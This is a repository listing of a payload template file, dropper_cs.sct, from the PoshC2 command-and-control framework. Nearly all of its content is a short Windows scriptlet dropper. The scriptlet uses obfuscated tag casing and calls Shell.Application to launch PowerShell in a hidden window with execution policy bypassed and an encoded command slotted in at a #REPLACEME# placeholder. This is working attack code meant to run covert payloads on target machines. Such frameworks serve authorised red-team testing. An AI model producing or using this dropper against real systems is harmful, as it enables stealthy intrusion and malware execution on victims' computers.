Codebase list poshc2 / a9d3dacc-99e5-43d3-96b8-dde5cd12e076/upstream resources / payload-templates / dropper_cs.sct
a9d3dacc-99e5-43d3-96b8-dde5cd12e076/upstream

Tree @a9d3dacc-99e5-43d3-96b8-dde5cd12e076/upstream (Download .tar.gz)

dropper_cs.sct @a9d3dacc-99e5-43d3-96b8-dde5cd12e076/upstreamraw · history · blame

1
2
3
<sCrIptlEt><scRIPt>
a=new ActiveXObject("Shell.Application").ShellExecute("powershell.exe"," -exec bypass -Noninteractive -windowstyle hidden -e #REPLACEME#","","open","0");
</scRIPt></sCrIptlEt>